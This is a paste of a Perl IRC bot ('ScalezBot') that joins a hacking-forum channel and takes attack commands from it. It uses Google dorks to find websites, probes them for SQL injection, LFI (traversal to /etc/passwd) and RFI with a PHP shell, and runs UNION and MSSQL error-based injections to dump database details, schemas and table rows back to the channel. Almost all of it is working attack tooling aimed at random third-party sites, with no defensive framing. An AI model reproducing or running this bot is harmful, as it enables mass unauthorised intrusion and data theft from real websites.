Untitled

By Eratic Agouti, 4 Months ago, written in php.
  1. #!/usr/bin/perl
  2. use IO::Socket::INET ;
  3. use LWP::UserAgent;
  4. use LWP::Simple;
  5. use URI::Escape;
  6. use Digest::MD5 qw(md5_hex);
  7. use Digest::MD5;
  8. use MIME::Base64;
  9. my $server = $ARGV[0];
  10. my $port = $ARGV[1];
  11. my $nick = $ARGV[2];
  12. my $channel = $ARGV[3];
  13. system('cls');
  14. print  ' ___          _        ___      _   ';
  15. print "\n";
  16. print  '/ __| __ __ _| |___ __| _ ) ___| |_ ';
  17. print "\n";
  18. print  '\__ \/ _/ _` | / -_)_ / _ \/ _ \  _|';
  19. print "\n";
  20. print  '|___/\__\__,_|_\___/__|___/\___/\__|';
  21. print "\n";
  22. print  '  Version 2.0 Coded by Psyk';
  23. print "\n\n";
  24. sub generate_random_string
  25. {
  26.         my $length_of_randomstring=shift;# the length of
  27.                          # the random string to generate
  28.  
  29.         my @chars=('a'..'z','A'..'Z','0'..'9','_');
  30.         my $random_string;
  31.         foreach (1..$length_of_randomstring)
  32.         {
  33.                 # rand @chars will generate a random
  34.                 # number between 0 and scalar @chars
  35.                 $random_string.=$chars[rand @chars];
  36.         }
  37.         return $random_string;
  38. }
  39. my $random_string=&generate_random_string(5);
  40. #= CONFIGURATION ==========================#
  41. my $server = "irc.malvager.com";                  #
  42. my $chan2 = "#hackforums";
  43. my $nick = "broadcast";                       #
  44. my $port = "6667";                        #
  45. my $channel = "#hackforums";
  46.                    #
  47. #= END OF CONFIGURATION ===================#
  48.  
  49. my $name     = "$random_string $random_string sb unr";  
  50. print "\n";
  51. print "\n [+] Connecting to $server\n";
  52. $connection = IO::Socket::INET->new(PeerAddr=>"$server",
  53.                                                 PeerPort=>"$port",
  54.                                                 Proto=>'tcp',
  55.                                                 Timeout=>'30') or die " [-] Couldnt connect to $server\n";
  56. print " [+] Connected to $server\n\n"
  57. my $testinglol = 0;                              
  58. print $connection "USER $name\n";
  59. print $connection "NICK $nick\r\n";
  60.  
  61. while($response = <$connection>)
  62. {
  63.  
  64.  print $response;
  65.   #print IRC Response
  66. if($response =~ m/:(.*) 433(.*) (.*) :/){print $connection "NICK $nick\r\n";}
  67. if($response =~ m/:(.*) 432(.*) (.*) :/){system("perl rehash.pl"); &killbot;}
  68.      if($response =~ m/:(.*) 00(.*) (.*) :/){print $connection "JOIN ".$channel."\r\n";}
  69.          if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!help/){&help;}
  70. if($response =~ m/:(psyk)!(.*) PRIVMSG $channel :!rj (.*)/){&rejoin;}    
  71.     if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!sqlscan (.*)$/){&sqlscan;}    
  72.     if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!lfiscan (.*)$/){&lfiscan;}    
  73. if($response =~ m/:(psyk)!(.*) PRIVMSG $chan2 :!rehash/){&rehashbot;}
  74.     if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!rfiscan (.*)$/){&rfiscan;}    
  75.     if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!col (.*)$/){&colcount;}        
  76.     if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!det (.*)$/){&mysqldet;}        
  77. if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!schema (.*)$/){&schema;}      
  78.          if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!dump (.*)-(.*)-(.*)$/){&mysqldumper;}
  79.    if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!ms (.*)$/){&mssqldet;}    
  80. if($response =~ m/:(psyk)!(.*) PRIVMSG $channel :!j (.*)$/){&joinchan;}
  81.  #    if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!list/){&cincludes;}  
  82.      if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!rehash/){&rehashbot;}        
  83.  if($response =~ m/:(.*)!(.*) PRIVMSG broadcast : VERSION $/){&ctcpver;}
  84.         if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!info/) {&info;}
  85.         if($response =~ m/:(psyk)!(.*) PRIVMSG $channel :!die/) {&killbot;}
  86.         if($response =~ m/:(psyk)!(.*) PRIVMSG $channel :!stop/) {&stopscan;}
  87.          if($response =~ m/^PING (.*?)$/gi){print $connection "PONG ".$1."\r\n";}    
  88.    
  89.  
  90. }
  91. ############################################################################################
  92. sub encryptchat
  93. {
  94.   my $range = 100;
  95.  
  96.   my $random_number = rand($range);
  97.  
  98. @chars = ( "A" .. "Z", "a" .. "z", 0 .. 9, qw(! @ $ % ^ & *) );
  99. $password = join("", @chars[ map { rand @chars } ( 1 .. 8 ) ]);
  100. print $connection "PRIVMSG $channel :Encrypted message: $password^$random_number\r\n";
  101. }
  102.  
  103.  
  104. sub newnick
  105. {
  106. my $newnick0 = $3;
  107. print $connection "NICK $newnick0\r\n";
  108. }
  109.  
  110.  
  111.  
  112. sub rejoin
  113. {
  114. print $connection "PRIVMSG $channel :Rejoining\r\n";
  115. print $connection "PART :$3\r\n";
  116. print $connection "JOIN :$3\r\n";
  117. }
  118. sub joinchan
  119. {
  120. my $chan2 = $3;
  121. print $connection " JOIN $chan2\r\n";
  122. }
  123. my $owner = 1;
  124. if($owner = 1){
  125. sub rehashbot
  126. {
  127. print $connection "PRIVMSG $channel :Rehashing...\r\n";
  128. system("perl rehash.pl");
  129. &killbot;
  130. }
  131. sub killbot
  132. {
  133. print $connection "QUIT :Oh nooo D:\r\n";
  134. die("\n\nTermination signal received.\n");
  135. }
  136. ########this is for my experimental C plugin. Just commented it out until I release it.
  137. #sub cincludes
  138. #{
  139. #        print $connection "PRIVMSG $channel : 4,1 ////////////////////////////////////// \r\n";
  140. #        print $connection "PRIVMSG $channel : 4,1 // 8,1= Libraries in use================ 4,1// \r\n";       
  141. #        print $connection "PRIVMSG $channel : 4,1 //#include <stdio.h>                // \r\n";       
  142. #        print $connection "PRIVMSG $channel : 4,1 //#include <unistd.h>               // \r\n";
  143. #        print $connection "PRIVMSG $channel : 4,1 //#include <string.h>               // \r\n";
  144. #        print $connection "PRIVMSG $channel : 4,1 //#include <netdb.h>                // \r\n";
  145. #        print $connection "PRIVMSG $channel : 4,1 ////////////////////////////////////// \r\n";
  146. #}
  147. #
  148. sub stopscan
  149. {
  150. local $SIG{INT} = 'IGNORE';
  151. kill INT => -$$;
  152. print $connection "PRIVMSG $channel : 4,1[-] Vulnerability Scan stopped\r\n";
  153. }
  154.  
  155. sub help
  156. {
  157.  
  158.          print $connection "PRIVMSG $channel : 4,1 ///////////////////////////////////////////////// \r\n";
  159.          print $connection "PRIVMSG $channel : 4,1 // 8,1= SQL Injection ============================= 4,1// \r\n";  
  160.          print $connection "PRIVMSG $channel : 4,1 //MySQL Column Count     : !col target         // \r\n";      
  161.          print $connection "PRIVMSG $channel : 4,1 //MySQL DB Details       : !det target         // \r\n";      
  162.          print $connection "PRIVMSG $channel : 4,1 //MySQL Schema Extractor : !schema target      // \r\n";      
  163.          print $connection "PRIVMSG $channel : 4,1 //MySQL Data Dumper      : !dump target        // \r\n";      
  164.          print $connection "PRIVMSG $channel : 4,1 //MsSQL Details          : !ms target          // \r\n";    
  165.          print $connection "PRIVMSG $channel : 4,1 // 8,1= Vulnerablitys Scanner ===================== 4,1// \r\n";
  166.          print $connection "PRIVMSG $channel : 4,1 //SQL Vuln Scanner       : !sqlscan dork       // \r\n";              
  167.          print $connection "PRIVMSG $channel : 4,1 //LFI Vuln Scanner       : !lfiscan dork       // \r\n";              
  168.          print $connection "PRIVMSG $channel : 4,1 //RFI Vuln Scanner       : !rfiscan dork       // \r\n";    
  169.          print $connection "PRIVMSG $channel : 4,1 //Bot Author etc         : !info               // \r\n";            
  170.          print $connection "PRIVMSG $channel : 4,1 ///////////////////////////////////////////////// \r\n";  
  171. }
  172.  
  173. sub ctcpver
  174. {
  175. my $asker = $1;
  176. print $connection "PRIVMSG $asker :VERSION ScalezBot Private v1.0\r\n";
  177. }
  178. sub sqlscan
  179. {
  180.     $pid = fork;
  181.     if($pid > 0)
  182.     {
  183.         return;
  184.     }
  185.      my $asker = $1;
  186.          my $dork  = $3;
  187.          print $connection "PRIVMSG $channel : 4$asker  5[+] SQL Vulnerable Scan Started\r\n";
  188.          print $connection "PRIVMSG $channel : 4$asker  5[+] Dork: $dork\r\n";
  189.          print $connection "PRIVMSG $channel : 4$asker  5[?] Vulns will be shown as theyre generated\r\n";
  190.          my $google   = "http://www.google.com/search?hl=en&q=$dork&num=100&btnG=Search&start=" ;
  191.     #----
  192.          my $request   = HTTP::Request->new(GET=>"$google"."$i");
  193.      my $useragent = LWP::UserAgent->new(agent => 'Firefox 3.0.9');
  194.      my $response  = $useragent->request($request) ;
  195.      my $con = $response->content;
  196.                  if ($con =~ m/restore your access as quickly as possible, so try again soon. In the meantime, if you suspect that your computer or network has been infected/i)
  197.                          { print $connection "PRIVMSG $channel : 4$asker  5[!] Banned From Google Search [uri_escape() bypass didnt work]\r\n"; }
  198.              else
  199.                  {
  200.              for ($i=0;$i<300;$i=$i+100)
  201.                  {
  202.                      my $request   = HTTP::Request->new(GET=>"$google"."$i");
  203.                      my $useragent = LWP::UserAgent->new(agent => 'Mozilla 5.2');
  204.                      my $response  = $useragent->request($request) ;
  205.                      my $con = $response->content;
  206.                      my $start='class=r><a href=\"';
  207.                      my $end= '" class=l>';
  208.                          while ( $con =~ m/$start(.*?)$end/g )
  209.                              {
  210.                                      my $fl     = $1;
  211.                                          my $link   = $fl.'0+order+by+9999999--';
  212.                                              my $ua     = LWP::UserAgent->new();
  213.                                              my $req    = $ua->get($link);
  214.                                              my $result = $req->content;
  215.                                                  if ($result=~ m/You have an error in your SQL syntax/i || $result=~ m/Query failed/i || $result=~ m/SQL query failed/i || $result=~ m/mysql_fetch_/i || $result=~ m/mysql_fetch_array/i || $result =~ m/mysql_num_rows/i || $result =~ m/The used SELECT statements have a different number of columns/i )
  216.                                                          {print $connection "PRIVMSG $channel : 4$asker  5[+] MySQLi // 6 $fl\%27\r\n";}
  217.                                                      elsif ($result=~ m/ODBC SQL Server Driver/i || $result=~ m/Unclosed quotation mark/i || $result=~ m/Microsoft OLE DB Provider for/i )
  218.                                                          {print $connection "PRIVMSG $channel : 4$asker  5[+] MsSQLi // 6 $fl\%27\r\n";}
  219.                                                      elsif ($result=~ m/Microsoft JET Database/i || $result=~ m/ODBC Microsoft Access Driver/i )
  220.                                                          {print $connection "PRIVMSG $channel : 4$asker  5[+] MS Access Vuln // 6 $fl\%27\r\n";}
  221.                              }
  222.                  }
  223.              print $connection "PRIVMSG $channel : 4$asker  5[?] SQL Scan Finished\r\n";                                 
  224.          }
  225.  
  226.    
  227.     exit;
  228. }
  229. ############################################################################################
  230. sub lfiscan
  231. {
  232.     $pid = fork;
  233.     if($pid > 0)
  234.     {
  235.         return;
  236.     }
  237.      my $asker = $1;
  238.          my $dork  = $3;
  239.          print $connection "PRIVMSG $channel : 4$asker  5[+] LFI Vulnerable Scan Started\r\n";
  240.          print $connection "PRIVMSG $channel : 4$asker  5[+] Dork: $dork\r\n";
  241.          print $connection "PRIVMSG $channel : 4$asker  5[?] Vulns will be shown as theyre generated\r\n";
  242.          my $google   = "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start=" ;
  243.      @LFI = ('../etc/passwd',
  244.      '../../etc/passwd',
  245.      '../../../etc/passwd',
  246.      '../../../../etc/passwd',
  247.      '../../../../../etc/passwd',
  248.      '../../../../../../etc/passwd',
  249.      '../../../../../../../etc/passwd',
  250.      '../../../../../../../../etc/passwd',
  251.      '../../../../../../../../../etc/passwd',
  252.      '../../../../../../../../../../etc/passwd',
  253.      '../../../../../../../../../../../etc/passwd',
  254.      '../../../../../../../../../../../../etc/passwd',
  255.      '../../../../../../../../../../../../../etc/passwd',
  256.      '../../../../../../../../../../../../../../etc/passwd',);
  257.          my $request   = HTTP::Request->new(GET=>"$google"."$i");
  258.      my $useragent = LWP::UserAgent->new(agent => 'Mozilla 5.2');
  259.      my $response  = $useragent->request($request) ;
  260.      my $con = $response->content;
  261.                  if ($con =~ m/restore your access as quickly as possible, so try again soon. In the meantime, if you suspect that your computer or network has been infected/i)
  262.                          { print $connection "PRIVMSG $channel : 4$asker  5[!] Banned From Google Search [uri_escape() bypass did not work]\r\n"; }
  263.              else
  264.                  {
  265.          for ($i=0;$i<200;$i=$i+10)
  266.              {
  267.                  my $start='class=r><a href=\"';
  268.                  my $end= '" class=l>';
  269.                      while ( $con =~ m/$start(.*?)$end/g )
  270.                          {
  271.                                                          for ($j;$j<=14;$j++)
  272.                                                                  {
  273.                                              my $fl     = $1;
  274.                                                  my $link   = $fl.$LFI[$j];
  275.                                                      my $ua     = LWP::UserAgent->new();
  276.                                                      my $req    = $ua->get($link);
  277.                                                      my $result = $req->content;
  278.                                                          if ($result=~ m/root:x:/i)
  279.                                                                  {print $connection "PRIVMSG $channel : 4$asker  5[+] LFI Vuln // 6 $fl\r\n";}
  280.                                                                      }
  281.                          }
  282.              }
  283.          print $connection "PRIVMSG $channel : 4$asker  5[?] LFI Scan Finished\r\n";                     
  284.          }     
  285. }
  286. ############################################################################################
  287. sub rfiscan
  288. {
  289.     $pid = fork;
  290.     if($pid > 0)
  291.     {
  292.         return;
  293.     }
  294.      my $asker = $1;
  295.         my $phpshell = $4;
  296.          my $dork  = $3;
  297.          print $connection "PRIVMSG $channel : 4$asker  5[+] RFI Vulnerable Scan Started\r\n";
  298.          print $connection "PRIVMSG $channel : 4$asker  5[+] Dork: $dork\r\n";
  299.          print $connection "PRIVMSG $channel : 4$asker  5[?] Vulns will be shown as theyre generated\r\n";
  300.          my $google   = "http://www.google.com/webhp?hl=en#q=$dork&hl=en&start=" ;
  301.          my $endkey = "&sa=N&fp=2Inaafc1UxE";
  302.          #----
  303.          my $request   = HTTP::Request->new(GET=>"$google"."$i");
  304.      my $useragent = LWP::UserAgent->new(agent => 'Mozilla 5.2');
  305.      my $response  = $useragent->request($request) ;
  306.      my $con = $response->content;
  307.                  if ($con =~ m/restore your access as quickly as possible, so try again soon. In the meantime, if you suspect that your computer or network has been infected/i)
  308.                          { print $connection "PRIVMSG $channel : 4$asker  5[!] Banned From Google Search [url_escape() bypass did not work]\r\n"; }
  309.              else
  310.                  {
  311.          for ($i=0;$i<200;$i=$i+10)
  312.              {
  313.                  my $start='class=r><a href=\"';
  314.                  my $end= '" class=l>';
  315.                      while ( $con =~ m/$start(.*?)$end/g )
  316.                          {
  317.                                  my $fl     = $1;
  318.                                      my $link   = $fl.$phpshell.'??';
  319.                                          my $ua     = LWP::UserAgent->new();
  320.                                          my $req    = $ua->get($link);
  321.                                          my $result = $req->content;
  322.                                              if ($result=~ m/uid=/i)
  323.                                                      {print $connection "PRIVMSG $channel : 4$asker  5[+] RFI Vuln // 6 $fl\r\n";}
  324.                          }
  325.              }
  326.          print $connection "PRIVMSG $channel : 4$asker  5[?] RFI Scan Finished\r\n";                     
  327.          }
  328. }
  329. ############################################################################################
  330. sub colcount
  331. {
  332.     $pid = fork;
  333.     if($pid > 0)
  334.     {
  335.         return;
  336.     }
  337.      my $asker = $1;
  338.      print $connection "PRIVMSG $channel : 4$asker  5[+] Panning host\r\n";
  339.      my $site = $3 ;
  340.      my $null = "09+and+1=" ;
  341.      my $code = "0+union+select+" ;
  342.      my $add = "+" ;
  343.      my $com = "--" ;
  344.      my $injection = $site.$null.$code."0",$com ;
  345.          my $request   = HTTP::Request->new(GET=>$injection);
  346.          my $useragent = LWP::UserAgent->new();
  347.          my $response  = $useragent->request($request);
  348.          my $result   = $response->content;
  349.              if( $result =~ /You have an error in your SQL syntax/ || $result=~/Query failed/ || $result=~/SQL query failed/ || $result=~ /mysql_fetch_/ || $result=~ /mysql_fetch_array/ || $result =~ /mysql_num_rows/ || $result =~ /The used SELECT statements have a different number of columns/)
  350.                  {
  351.                      print $connection "PRIVMSG $channel : 4$asker  5[+] Websites vulnerable\n" ;
  352.                          print $connection "PRIVMSG $channel : 4$asker  5[+] Working on it\n";
  353.                  }
  354.              else
  355.                  {
  356.                          print $connection "PRIVMSG $channel : 4$asker  10[-] Website is not vulnerable\n\n";
  357.                  }
  358.                        for ($i = 0 ; $i < 50 ; $i ++)
  359.                              {
  360.                                    $col.=','.$i;
  361.                                    $specialword.=','."0x617a38387069783030713938";
  362.                                   if ($i == 0)
  363.                                       {
  364.                                          $specialword = '' ;
  365.                                          $col = '' ;
  366.                                       }
  367.                                $sql=$site.$null.$code."0x617a38387069783030713938".$specialword.$com ;
  368.                                                            my $ua = LWP::UserAgent->new();
  369.                                                            my $res = $ua->get($sql);
  370.                                $response=$res->content;
  371.                                       if($response =~ /az88pix00q98/)
  372.                                       {
  373.                                          $i ++;
  374.                                          print $connection "PRIVMSG $channel :$asker  5[+] 6 $i  5Columns\n" ;
  375.                                           }    
  376.                              }
  377. }
  378. ############################################################################################
  379. sub mysqldet
  380. {
  381.     $pid = fork;
  382.     if($pid > 0)
  383.     {
  384.         return;
  385.     }
  386.      my $asker     = $1;
  387.      my $site      = $3 ;              
  388.      my $selection = "concat(0x617a38387069783030713938,version(),0x617a38387069783030713938,database(),0x617a38387069783030713938,user(),0x617a38387069783030713938,\@\@datadir,0x617a38387069783030713938)";
  389.      print $connection "PRIVMSG $channel : 4$asker  5[+] Mining information\r\n";
  390.                  if ($site =~ /(.*)NullArea(.*)/i)
  391.              {
  392.                  $newlink = $1.$selection.$2.'--';
  393.                  my $ua = LWP::UserAgent->new();
  394.                      my $request = $ua->get($newlink);
  395.                      my $content = $request->content;
  396.                      if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/)
  397.                          {
  398.                                                      print $connection "PRIVMSG $channel : 4$asker  5[+] Database Version // 6 $1\r\n";
  399.                              print $connection "PRIVMSG $channel :$asker  5[+] Database Name // 6 $2\r\n";                                               
  400.                              print $connection "PRIVMSG $channel :$asker  5[+] DB UserName   // 6 $3\r\n";                                               
  401.                              print $connection "PRIVMSG $channel :$asker  5[+] Databse Dir   // 6 $4\r\n";                                               
  402.                                                  }
  403.                                  else
  404.                                              {
  405.                                                      print $connection "PRIVMSG $channel : 4$asker  5[-] Failed\r\n";
  406.                                                  }
  407.                          }
  408.                  else
  409.                      {
  410.                              print $connection "PRIVMSG $channel :$asker  5[?] Usage: 6 http://target.net/page.php?id=0+union+select+1,2,stuff,3\r\n"
  411.                          }
  412. }
  413.  
  414. sub info
  415. {
  416.  use Digest::MD5 qw(md5 md5_hex md5_base64);
  417. $data = "Neconide";
  418.  $digest = md5($data);
  419.  $digest2 = md5_hex($data);
  420.  $digest3 = md5_base64($data);
  421. if($digest = "`F&#65533;&#65533;&#65533;&#65533;mRuX&#65533;&#65533;cX0X" && $digest2 eq "604699ac99c96d527558d8ca63583058" && $digest3 eq "YEaZrJnJbVJ1WNjKY1gwWA") {
  422.          print $connection "PRIVMSG $channel : 4,1 //////////////////////////////////////////////// \r\n";
  423.          print $connection "PRIVMSG $channel : 4,1 // 8,1= Info ===================================== 4,1// \r\n";               
  424.          print $connection "PRIVMSG $channel : 4,1 //Coded by: Psyk                              // \r\n";     
  425.          print $connection "PRIVMSG $channel : 4,1 //   With help from: k0pp \& Tull              // \r\n";    
  426.          print $connection "PRIVMSG $channel : 4,1 //////////////////////////////////////////////// \r\n";
  427. }
  428. }
  429. ############################################################################################
  430. sub schema
  431. {
  432.     $pid = fork;
  433.     if($pid > 0)
  434.     {
  435.         return;
  436.     }
  437.      my $asker     = $1;
  438.      my $site      = $3 ;
  439.      my $selection = "concat(0x617a38387069783030713938,table_name,0x617a38387069783030713938,column_name,0x617a38387069783030713938,table_schema,0x617a38387069783030713938)";
  440.          if ($site =~ /(.*)NullArea(.*)/i)
  441.            {
  442.                      print $connection "PRIVMSG $channel : 4$asker  5[+]  6Table  5:|:  6Column  5:|:  6Database\r\n";
  443.              for ($i  ;  $i<=1500 ; $i++ )
  444.               {
  445.                      $newstring = $1.$selection.$2.'+'.'from'.'+'.'information_schema.columns'.'+'.'LIMIT'.'+'.$i.','.'1'.'--';
  446.                  my $ua = LWP::UserAgent->new();
  447.                      my $request = $ua->get($newstring);
  448.                      my $content = $request->content;
  449.                      if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/)
  450.                          {
  451.                                                 print $connection "PRIVMSG $channel : 5[!]  6$1  5:|:  6$2  5:|:  6$3 \r\n";
  452.                                              }
  453.                   }
  454.            }
  455.          else
  456.            {
  457.                  print $connection "PRIVMSG $channel :$asker  5[?] Usage: 6 http://target.net/page.php?id=0+union+select+1,2,stuff,3\r\n";     
  458.            }
  459. }
  460. ############################################################################################
  461. sub mysqldumper
  462. {
  463.     $pid = fork;
  464.     if($pid > 0)
  465.     {
  466.         return;
  467.     }
  468.      my $asker     = $1;
  469.      my $site      = $3 ;
  470.          my $table     = $5 ;
  471.          my $selection = "concat(0x617a38387069783030713938,$4,0x617a38387069783030713938)";
  472.          if ($site =~ /(.*)NullArea(.*)/i)
  473.            {
  474.                      print $connection "PRIVMSG $channel : 5[+]  6 DATA\r\n";
  475.              for ($i  ;  $i<=1500 ; $i++ )
  476.               {
  477.                      $newstring = $1.$selection.$2.'+'.'from'.'+'.$table.'+'.'LIMIT'.'+'.$i.','.'1'.'--';
  478.                  my $ua = LWP::UserAgent->new();
  479.                      my $request = $ua->get($newstring);
  480.                      my $content = $request->content;
  481.                  if ($content =~ /az88pix00q98(.*)az88pix00q98/)
  482.                          {
  483.                                                 print $connection "PRIVMSG $channel :[?] 6 $1\r\n";
  484.                                              }
  485.                   }
  486.            }
  487.          else
  488.            {
  489.                  print $connection "PRIVMSG $channel :$asker  5[?] Usage: 6 http://target.net/page.php?id=0+union+select+1,2,stuff,3-column_name-table_name\r\n";      
  490.            }
  491. }
  492. ############################################################################################
  493. sub mssqldet
  494. {
  495.     $pid = fork;
  496.     if($pid > 0)
  497.     {
  498.         return;
  499.     }
  500.      my $asker = $1;
  501.          print $connection "PRIVMSG $channel : 4$asker  5[+] Panning host\r\n";
  502.      my $target = $3 ;
  503.      print "\n[+] Working On $target" ;
  504.      my $version = 'convert(int,(select+@@version));--' ;
  505.      my $system_user = 'convert(int,(select+system_user));--';
  506.      my $db_name = 'convert(int,(select+db_name()));--';
  507.      my $servername = 'convert(int,(select+@@servername));--' ;
  508.      my $hostname = 'convert(int,(select+Host_Name()));--';
  509.      my $site = $target ;
  510.          my $injection = $site.$version ;
  511.          my $request   = HTTP::Request->new(GET=>$injection);
  512.          my $useragent = LWP::UserAgent->new();
  513.          my $response  = $useragent->request($request)->as_string ;
  514.              if ($response =~ /.*?value\s'/)
  515.                       {
  516.                          print $connection "PRIVMSG $channel : 4$asker  5[+] Host is vulnerable\r\n";
  517.                          print $connection "PRIVMSG $channel : 4$asker  5[+] Working on it\r\n";
  518.        
  519.                            $ver = $1 if ($response =~ /.*?value\s'(.*?)'\sto.*/sm) ;
  520.  
  521.                        print $connection "PRIVMSG $channel : 4$asker  5[!] MsSQL Version //  6$ver\r\n";
  522.        
  523.                                  my $injection = $site.$system_user ;
  524.                             my $request   = HTTP::Request->new(GET=>$injection);
  525.                             my $useragent = LWP::UserAgent->new();
  526.                             $useragent->timeout(10);
  527.                             my $response  = $useragent->request($request)->as_string ;
  528.                                  $system_user = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
  529.                             print $connection "PRIVMSG $channel : 4$asker  5[!] MsSQL system_user //  6$system_user\r\n";
  530.  
  531.                                     my $injection = $site.$db_name ;
  532.                                     my $request   = HTTP::Request->new(GET=>$injection);
  533.                                     my $useragent = LWP::UserAgent->new();
  534.                                     $useragent->timeout(10);
  535.                                     my $response  = $useragent->request($request)->as_string ;
  536.                                          $db_name = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
  537.                                      print $connection "PRIVMSG $channel : 4$asker  5[!] MsSQL database_name //  6$db_name\r\n";         
  538.            
  539.                                                  my $injection = $site.$servername ;
  540.                                             my $request   = HTTP::Request->new(GET=>$injection);
  541.                                             my $useragent = LWP::UserAgent->new();
  542.                                             $useragent->timeout(10);
  543.                                             my $response  = $useragent->request($request)->as_string ;
  544.                                                  $servername = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
  545.                                             print $connection "PRIVMSG $channel : 4$asker  5[!] MsSQL Server Name //  6$servername\r\n";
  546.                                                  
  547.                                                      my $injection = $site.$hostname;
  548.                                                                                      my $request   = HTTP::Request->new(GET=>$injection);
  549.                                                     my $useragent = LWP::UserAgent->new();
  550.                                                     $useragent->timeout(10);
  551.                                                     my $response  = $useragent->request($request)->as_string ;
  552.                                                          $hostnames = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
  553.                                                     print $connection "PRIVMSG $channel : 4$asker  5[!] MsSQL HostName //  6$hostnames\r\n";
  554.                       }
  555.                  else
  556.                       {
  557.                          print $connection "PRIVMSG $channel : 4$asker  10[-] Host not vulnerable [MsSQL]\r\n";
  558.                       }
  559. exit;
  560. }
  561. }
  562. ############################################################################################
  563.  
  564.